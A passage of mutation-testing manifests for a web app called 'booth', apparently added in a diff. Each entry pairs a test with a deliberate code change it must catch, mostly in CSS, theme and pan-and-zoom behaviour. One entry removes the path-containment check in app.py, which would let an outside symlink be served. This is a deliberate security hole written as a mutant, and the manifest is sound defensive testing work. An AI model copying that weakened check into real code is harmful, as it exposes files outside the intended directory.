test = "tests/test_flow_browser.py::test_the_row_controls_take_no_room_where_a_hover_exists"
|
||||
old = '''
|
||||
.desk-acts{position:absolute;top:17px;left:calc(12px + 210px - 5px);transform:translateX(-100%);flex:none;gap:4px;padding:3px;'''
|
||||
new = '''
|
||||
.desk-acts{position:static;top:17px;left:calc(12px + 210px - 5px);transform:translateX(-100%);flex:none;gap:4px;padding:3px;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 hover-only everywhere (no controls at all on touch)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_on_touch_the_row_controls_are_visible_in_flow_and_at_least_28px"
|
||||
old = '''
|
||||
.desk-acts{flex:1 0 100%;display:flex;flex-wrap:wrap;align-items:center;gap:6px}'''
|
||||
new = '''
|
||||
.desk-acts{flex:1 0 100%;display:flex;flex-wrap:wrap;align-items:center;gap:6px;opacity:0}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 touch controls fall below the 28px floor"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_on_touch_the_row_controls_are_visible_in_flow_and_at_least_28px"
|
||||
old = '''
|
||||
min-height:32px;min-width:32px;padding:0 10px;font-family:var(--font-mono);font-size:var(--size-caption);'''
|
||||
new = '''
|
||||
min-height:18px;min-width:18px;padding:0 10px;font-family:var(--font-mono);font-size:var(--size-caption);'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 zip back in the middle"
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow_browser.py::test_the_row_controls_run_zip_keep_or_release_then_wipe"
|
||||
old = '''
|
||||
<a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>
|
||||
{%- if b.kept %}
|
||||
<form class="release"'''
|
||||
new = '''
|
||||
{%- if b.kept %}
|
||||
<a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>
|
||||
<form class="release"'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 a held booth's pill reads as counting down"
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow.py::test_the_lifetime_pill_class_is_kept_held_or_counting"
|
||||
old = '''('life-held' if b.hold in ('open', 'unreadable') else 'life-count')'''
|
||||
new = '''('life-held' if b.hold == 'never' else 'life-count')'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1b an unknown birth time renders a guess"
|
||||
file = "booth/templates/_dates.html"
|
||||
test = "tests/test_flow.py::test_created_and_updated_are_dated_facts_and_none_says_nothing"
|
||||
old = '''{% macro dates(created_at, landed_at, now) -%}'''
|
||||
new = '''{% macro dates(created_at, landed_at, now) -%}{%- set created_at = created_at or landed_at -%}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1b updated is measured from the wrong clock"
|
||||
file = "booth/templates/_dates.html"
|
||||
test = "tests/test_flow.py::test_created_and_updated_are_dated_facts_and_none_says_nothing"
|
||||
old = '''updated {{ age|ago }}'''
|
||||
new = '''updated {{ (now - created_at)|ago }}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 a stored theme is not applied at load (a reload forgets it)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live"
|
||||
old = '''
|
||||
if (t === 'light' || t === 'dark') d.setAttribute('data-theme', t);'''
|
||||
new = '''
|
||||
if (false) d.setAttribute('data-theme', t);'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 System snapshots the OS instead of following it live"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live"
|
||||
old = '''
|
||||
if (c === 'system') d.removeAttribute('data-theme'); else d.setAttribute('data-theme', c);'''
|
||||
new = '''
|
||||
if (c === 'system') d.setAttribute('data-theme', matchMedia('(prefers-color-scheme: light)').matches ? 'light' : 'dark'); else d.setAttribute('data-theme', c);'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 forced light is not in the sheet"
|
||||
file = "booth/templates/_svos_tokens.css"
|
||||
test = "tests/test_flow_browser.py::test_the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live"
|
||||
old = '''
|
||||
:root[data-theme="light"] {'''
|
||||
new = '''
|
||||
:root[data-theme="light-OFF"] {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 the toggle shows without JS (display beats [hidden])"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_theme_toggle_never_shows_without_js_and_a_storage_failure_still_applies"
|
||||
old = '''
|
||||
.theme[hidden]{display:none}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 a storage write that throws swallows the choice"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_theme_toggle_never_shows_without_js_and_a_storage_failure_still_applies"
|
||||
old = '''
|
||||
var c = b.getAttribute('data-theme-choice');
|
||||
if (c === 'system')'''
|
||||
new = '''
|
||||
var c = b.getAttribute('data-theme-choice');
|
||||
localStorage.setItem('booth.theme', c);
|
||||
if (c === 'system')'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 a stylesheet precedes the stored-theme script (a flash)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow.py::test_a_forced_theme_is_applied_before_first_paint"
|
||||
old = '''
|
||||
<script>
|
||||
(function () {
|
||||
var d = document.documentElement, b = d.getAttribute('data-booth');'''
|
||||
new = '''
|
||||
<style></style>
|
||||
<script>
|
||||
(function () {
|
||||
var d = document.documentElement, b = d.getAttribute('data-booth');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 the ask chrome in a verbatim page ignores the choice"
|
||||
file = "booth/static/embed.js"
|
||||
test = "tests/test_flow_browser.py::test_a_forced_theme_reaches_the_ask_chrome_inside_a_verbatim_page"
|
||||
old = '''
|
||||
bkTheme();
|
||||
reassociate();'''
|
||||
new = '''
|
||||
reassociate();'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 the ask chrome does not follow a choice made in another tab"
|
||||
file = "booth/static/embed.js"
|
||||
test = "tests/test_flow_browser.py::test_a_forced_theme_reaches_the_ask_chrome_inside_a_verbatim_page"
|
||||
old = '''
|
||||
if (e.key === "booth.theme" || e.key === null) bkTheme();'''
|
||||
new = '''
|
||||
if (false) bkTheme();'''
|
||||
|
||||
# ---- merge-2 folds: heid bug-hunt ("GORE-7") and code-review ("STAGGER-3")
|
||||
# Not expressible as one replacement, so pinned by their tests directly: the
|
||||
# row's DOM tab order (read in order by the test), and a declaration dropped
|
||||
# from BOTH light copies (the expected set is now written from SVOS, not
|
||||
# derived from the copies).
|
||||
|
||||
[[mutation]]
|
||||
label = "a date the calendar cannot hold raises through the Desk"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_a_date_no_calendar_can_hold_renders_nothing_and_never_500s"
|
||||
old = '''
|
||||
_BAD_DATE = (OverflowError, OSError, ValueError)'''
|
||||
new = '''
|
||||
_BAD_DATE = ()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "updated is dropped for content older than its booth (one-sided gap)"
|
||||
file = "booth/templates/_dates.html"
|
||||
test = "tests/test_flow.py::test_updated_shows_whenever_it_differs_from_created_and_a_future_one_says_its_date"
|
||||
old = '''(landed_at - created_at)|abs >= 60'''
|
||||
new = '''(landed_at - created_at) >= 60'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a content clock ahead of now reads as an age"
|
||||
file = "booth/templates/_dates.html"
|
||||
test = "tests/test_flow.py::test_updated_shows_whenever_it_differs_from_created_and_a_future_one_says_its_date"
|
||||
old = '''{%- if age < -60 %}'''
|
||||
new = '''{%- if false %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "hours run on to 47h (1d ago never appears)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_an_age_is_said_in_its_largest_whole_unit"
|
||||
old = '''
|
||||
if s < 86400:
|
||||
return f"{s // 3600}h ago"'''
|
||||
new = '''
|
||||
if s < 2 * 86400:
|
||||
return f"{s // 3600}h ago"'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a theme chosen in one tab does not reach the Booth's other open tabs"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_a_theme_chosen_in_one_tab_moves_the_others"
|
||||
old = '''
|
||||
if (e.key !== 'booth.theme' && e.key !== null) return;
|
||||
var t = null;'''
|
||||
new = '''
|
||||
return;
|
||||
var t = null;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the theme mark reaches the author's own .bk-ask"
|
||||
file = "booth/static/embed.js"
|
||||
test = "tests/test_flow_browser.py::test_the_theme_marks_only_the_ask_fragments_we_mounted"
|
||||
old = '''
|
||||
ours.forEach(function (root) {'''
|
||||
new = '''
|
||||
[document.body].forEach(function (root) {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "keyboard focus no longer reveals the row's controls"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_pill_shows_at_rest_and_focus_reveals_the_controls"
|
||||
old = '''
|
||||
.desk-row:hover .desk-acts,.desk-row:focus-within .desk-acts{opacity:1;pointer-events:auto}'''
|
||||
new = '''
|
||||
.desk-row:hover .desk-acts{opacity:1;pointer-events:auto}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the lifetime pill hides at rest"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_pill_shows_at_rest_and_focus_reveals_the_controls"
|
||||
old = '''
|
||||
.life-count::before{content:"◷"}'''
|
||||
new = '''
|
||||
.life-count::before{content:"◷"}
|
||||
.life{opacity:0}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "high contrast never applies (dark-hc block gone)"
|
||||
file = "booth/templates/_svos_tokens.css"
|
||||
test = "tests/test_flow_browser.py::test_a_forced_theme_follows_high_contrast"
|
||||
old = '''
|
||||
/* dark high contrast: whenever dark is in effect (light, below, outranks it) */
|
||||
@media (prefers-contrast: more) {'''
|
||||
new = '''
|
||||
/* dark high contrast: whenever dark is in effect (light, below, outranks it) */
|
||||
@media (prefers-contrast: less) {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "Reveal all does not reach a blurred doc's own page"
|
||||
file = "booth/templates/doc.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_lifts_the_doc_page_it_reaches"
|
||||
old = '''
|
||||
.reveal-all .docbody.is-blurred .markdown-body,.reveal-all .docbody.is-blurred .textview{filter:none}'''
|
||||
new = '''
|
||||
.reveal-all-OFF .docbody.is-blurred .markdown-body,.reveal-all .docbody.is-blurred .textview{filter:none}'''
|
||||
@@ -0,0 +1,359 @@
|
||||
# R2c — the review stage: every falsifier the contract claims
|
||||
# (docs/contracts/r2c_review_stage.contract.md), and the change each forbids.
|
||||
#
|
||||
# r3 moved the stage machinery (the mode toggle, the storage listener, pannable
|
||||
# and drag-pan) out of view.html into the shared _stage_js.html (r3 C4). The 15
|
||||
# rows that anchor there were RE-POINTED, not rewritten: same test, same
|
||||
# defeating change, in the code's new home, and every one re-proved after the
|
||||
# move. The arrows (place, drawn, view's ResizeObserver) stayed in view.html,
|
||||
# and so did their rows.
|
||||
|
||||
unit = "the review stage: fit / 1:1, the arrows at the picture, drag-pan"
|
||||
|
||||
[[mutation]]
|
||||
label = "S1 Fit never enlarges (the old max-width/max-height cap)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_fit_fills_the_stage_up_or_down"
|
||||
old = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:contain;'''
|
||||
new = '''
|
||||
.vstage.is-img img{width:auto;height:auto;max-width:100%;max-height:100%;object-fit:contain;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S1 Fit crops (cover, not contain)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_fit_fills_the_stage_up_or_down"
|
||||
old = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:contain;'''
|
||||
new = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:cover;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 the toggle stays hidden (the per-picture hide is back)"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_the_toggle_shows_for_every_picture_and_never_without_js"
|
||||
# r3: BoothMode.bind is page level and holds no picture, so the re-pointed hide
|
||||
# reads the page's one picture and stage itself.
|
||||
old = '''
|
||||
toggle.hidden = false;'''
|
||||
new = '''
|
||||
toggle.hidden = document.querySelector('.vstage img').naturalWidth <= document.querySelector('.vstage').clientWidth;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 the toggle shows without JS (display beats [hidden])"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_toggle_shows_for_every_picture_and_never_without_js"
|
||||
old = '''
|
||||
.vtoggle[hidden]{display:none}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 1:1 applied late (after the stage exists: a Fit flash)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
if (localStorage.getItem('booth.fit') === 'one') d.classList.add('stage-one');'''
|
||||
new = '''
|
||||
if (localStorage.getItem('booth.fit') === 'one') document.addEventListener('DOMContentLoaded', function () { d.classList.add('stage-one'); });'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 a stray stored value is taken as 1:1"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
if (localStorage.getItem('booth.fit') === 'one') d.classList.add('stage-one');'''
|
||||
new = '''
|
||||
if (localStorage.getItem('booth.fit')) d.classList.add('stage-one');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 a storage write that throws swallows the click"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
var setMode = function (one) {
|
||||
d.classList.toggle('stage-one', one);'''
|
||||
new = '''
|
||||
var setMode = function (one) {
|
||||
localStorage.setItem('booth.fit', 'x');
|
||||
d.classList.toggle('stage-one', one);'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S3 the arrows stay at the stage edges (never placed)"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
|
||||
old = '''
|
||||
var p = drawn();
|
||||
if (!p) {'''
|
||||
new = '''
|
||||
var p = null;
|
||||
if (!p) {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S3 the arrows track the file's natural width, not the drawn picture"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
|
||||
old = '''
|
||||
var k = Math.min(b.width / img.naturalWidth, b.height / img.naturalHeight), w = img.naturalWidth * k;'''
|
||||
new = '''
|
||||
var k = 1, w = img.naturalWidth * k;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S3 an arrow is not clamped inside the stage"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
|
||||
old = '''
|
||||
x = Math.max(lo, Math.min(hi, x));'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
# NEITHER path: the first draft of this row disabled only the ResizeObserver and
|
||||
# fell through to the window listener, so it stayed green — vacuous.
|
||||
[[mutation]]
|
||||
label = "S3 the arrows do not follow a resize"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
|
||||
old = '''
|
||||
if (window.ResizeObserver) new ResizeObserver(settle).observe(stage);
|
||||
else window.addEventListener('resize', settle);'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S4 the pan runs backwards (the picture flees the pointer)"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''
|
||||
stage.scrollLeft = drag.l - dx;'''
|
||||
new = '''
|
||||
stage.scrollLeft = drag.l + dx;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S4 no drag threshold (a jittery click pans)"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''
|
||||
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S4 the picture is draggable again"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''alt="{{ file }}" draggable="false">'''
|
||||
new = '''alt="{{ file }}">'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S4 no grab cursor on a pannable 1:1 picture"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''
|
||||
.stage-one .vstage.can-pan{cursor:grab;user-select:none}'''
|
||||
new = '''
|
||||
.stage-one .vstage.can-pan{user-select:none}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S4 the stage reveal back inside the scrolled content (a pan carries it off)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''
|
||||
.review-body > .reveal{position:absolute;top:14px;left:14px;z-index:5;'''
|
||||
new = '''
|
||||
.review-body > .reveal{position:absolute;top:14px;left:14px;z-index:-1;'''
|
||||
|
||||
# ---- the heid code-review fold ("VÍGUNDR")
|
||||
|
||||
[[mutation]]
|
||||
label = "1:1 centres a large picture (its start side can never be scrolled to)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_every_pixel_of_a_large_picture_is_reachable"
|
||||
old = '''
|
||||
.stage-one .vstage.is-img{overflow:auto;padding:0;justify-content:flex-start;align-items:flex-start}'''
|
||||
new = '''
|
||||
.stage-one .vstage.is-img{overflow:auto;padding:0}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a buttonless hover continues a press released outside the stage"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_a_pan_holds_past_the_stage_edge_and_never_starts_on_a_hover"
|
||||
old = '''
|
||||
if (!(e.buttons & 1)) { endDrag(); return; }'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "no pointer capture (a pan dies at the stage's edge)"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_a_pan_holds_past_the_stage_edge_and_never_starts_on_a_hover"
|
||||
old = '''
|
||||
try { stage.setPointerCapture(drag.id); } catch (x) {}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "stacked, the arrows' fallback centres on stage AND rail"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_before_placement_the_arrows_never_sit_over_the_rail_on_a_narrow_screen"
|
||||
old = '''
|
||||
@media (max-width:900px){.vnav{top:30vh}}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "Fit shifts the picture off-centre (object-position), cropping it"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_fit_fills_the_stage_up_or_down"
|
||||
old = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:contain;'''
|
||||
new = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:contain;object-position:-100px 50%;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the arrows are not centred on the stage"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
|
||||
old = '''
|
||||
a.style.top = (s.top - o.top + s.height / 2) + 'px';'''
|
||||
new = '''
|
||||
a.style.top = (s.top - o.top + s.height / 4) + 'px';'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a booth.fit read that throws raises out of the head script"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
try {
|
||||
if (localStorage.getItem('booth.fit') === 'one') d.classList.add('stage-one');
|
||||
} catch (e) {}'''
|
||||
new = '''
|
||||
if (localStorage.getItem('booth.fit') === 'one') d.classList.add('stage-one');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the drag threshold is per axis, not total (a 3,3 diagonal pans nothing)"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''
|
||||
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */'''
|
||||
new = '''
|
||||
if (Math.abs(dx) < 4 && Math.abs(dy) < 4) return;'''
|
||||
|
||||
# ---- the heid bug-hunt fold ("ÞREKJUR"). Accepted, not rowed: no `touch-action`
|
||||
# (on touch the stage scrolls natively and the pan yields on pointercancel);
|
||||
# dragstart preventDefault beside draggable=false (defence in depth, one layer
|
||||
# alone holds).
|
||||
|
||||
[[mutation]]
|
||||
label = "the stage reveal shows with scripts off (and does nothing)"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_the_stage_reveal_never_shows_without_js_and_keeps_the_fit_shadow"
|
||||
old = '''aria-label="reveal {{ file }}" hidden>'''
|
||||
new = '''aria-label="reveal {{ file }}">'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a revealed review picture loses Fit's shadow"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_stage_reveal_never_shows_without_js_and_keeps_the_fit_shadow"
|
||||
old = '''
|
||||
.review .vstage.is-img.is-blurred.revealed img,.reveal-all .review .vstage.is-img.is-blurred img{'''
|
||||
new = '''
|
||||
.review .vstage.is-img.is-blurred.revealed-OFF img,.reveal-all .review .vstage.is-img.is-blurred img{'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a stage mode chosen in another tab does not reach this one"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_a_stage_mode_chosen_in_one_tab_moves_the_others"
|
||||
old = '''
|
||||
if (e.key !== 'booth.fit' && e.key !== null) return;'''
|
||||
new = '''
|
||||
return;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the drag threshold drops to 3px"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
|
||||
old = '''
|
||||
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */'''
|
||||
new = '''
|
||||
if (dx * dx + dy * dy < 9) return; /* under 4px in all: a click */'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a storage write that throws cuts the click short (buttons never update)"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
try {
|
||||
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');
|
||||
} catch (e) {}'''
|
||||
new = '''
|
||||
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the Fit button's pressed state is never drawn"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
bFit.setAttribute('aria-pressed', one ? 'false' : 'true');'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
# ---- groa's retry supplement (code review)
|
||||
|
||||
[[mutation]]
|
||||
label = "S1 Fit loses its drop shadow"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_fit_fills_the_stage_up_or_down"
|
||||
old = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:contain;
|
||||
filter:drop-shadow(0 10px 24px rgb(0 0 0 / .32))}'''
|
||||
new = '''
|
||||
.vstage.is-img img{width:100%;height:100%;object-fit:contain}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 the toggle hides, on load, for a picture larger than the stage"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_the_toggle_shows_for_every_picture_and_never_without_js"
|
||||
# r3: `settle` is the stage's own (pannable) then the page's onSettle (place).
|
||||
old = '''
|
||||
function settle() { pannable(); onSettle(); }'''
|
||||
new = '''
|
||||
function settle() { pannable(); onSettle(); if (img) document.getElementById('vtoggle').hidden = img.naturalWidth > stage.clientWidth; }'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S2 choosing Fit stores a word instead of forgetting 1:1"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
|
||||
old = '''
|
||||
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');'''
|
||||
new = '''
|
||||
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.setItem('booth.fit', 'fit');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "S4 pan only when BOTH axes overflow"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_a_picture_that_overflows_one_axis_pans_along_it"
|
||||
old = '''
|
||||
(stage.scrollWidth > stage.clientWidth || stage.scrollHeight > stage.clientHeight);'''
|
||||
new = '''
|
||||
(stage.scrollWidth > stage.clientWidth && stage.scrollHeight > stage.clientHeight);'''
|
||||
|
||||
# ---- groa's retry supplement (bug hunt): classic scrollbars
|
||||
|
||||
[[mutation]]
|
||||
label = "a press on the stage's scrollbar starts a pan"
|
||||
file = "booth/templates/_stage_js.html"
|
||||
test = "tests/test_flow_browser.py::test_a_classic_scrollbar_is_neither_under_an_arrow_nor_a_pan"
|
||||
old = '''
|
||||
if (e.clientX - r.left - stage.clientLeft >= stage.clientWidth ||
|
||||
e.clientY - r.top - stage.clientTop >= stage.clientHeight) return;'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the arrows clamp to the border box (the next one sits under a classic scrollbar)"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_a_classic_scrollbar_is_neither_under_an_arrow_nor_a_pan"
|
||||
old = '''
|
||||
var cl = s.left + stage.clientLeft, cr = cl + stage.clientWidth;'''
|
||||
new = '''
|
||||
var cl = s.left, cr = s.right;'''
|
||||
@@ -0,0 +1,596 @@
|
||||
# R3 — compare: every falsifier the contract claims
|
||||
# (docs/contracts/r3_compare.contract.md), and the change each forbids.
|
||||
|
||||
unit = "compare: two picked rels side by side, linked stepping, synced pan, flag the winner"
|
||||
|
||||
# ---- C1: the route and the pair
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 the conjunction loses containment (an outside symlink in the ring opens)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_an_outside_symlink_in_the_ring_is_404"
|
||||
old = '''
|
||||
return str(target).startswith(str(booth) + os.sep) and target.is_file()'''
|
||||
new = '''
|
||||
return target.is_file()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 the conjunction loses the ring (a doc or a sidecar opens as a side)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_bad_side_is_a_404"
|
||||
old = '''
|
||||
return [r for r in review_chain(items) if _in_booth(booth, r)]'''
|
||||
new = '''
|
||||
return [it.rel for it in items if _in_booth(booth, it.rel)]'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 a missing side is FastAPI's 422 (no default)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_missing_param_is_404_not_422"
|
||||
old = '''def booth_compare(request: Request, name: str, a: str = "", b: str = "",'''
|
||||
new = '''def booth_compare(request: Request, name: str, a: str, b: str,'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 a look records only A"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_look_records_both_seen"
|
||||
old = '''
|
||||
record_seen(booth, b, items)'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 the look is recorded above the 404s (a bad pair holds a booth open)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_look_records_both_seen"
|
||||
old = '''
|
||||
booth = resolve_booth(name)
|
||||
items = booth_items(booth)
|
||||
ring = _compare_ring(booth, items)'''
|
||||
new = '''
|
||||
booth = resolve_booth(name)
|
||||
record_view(booth)
|
||||
items = booth_items(booth)
|
||||
ring = _compare_ring(booth, items)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C6 compare does not carry data-booth (Reveal all and its restore bail)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare.py::test_compare_carries_data_booth"
|
||||
old = '''{% block html_attrs %} data-booth="{{ name }}"{% endblock %}'''
|
||||
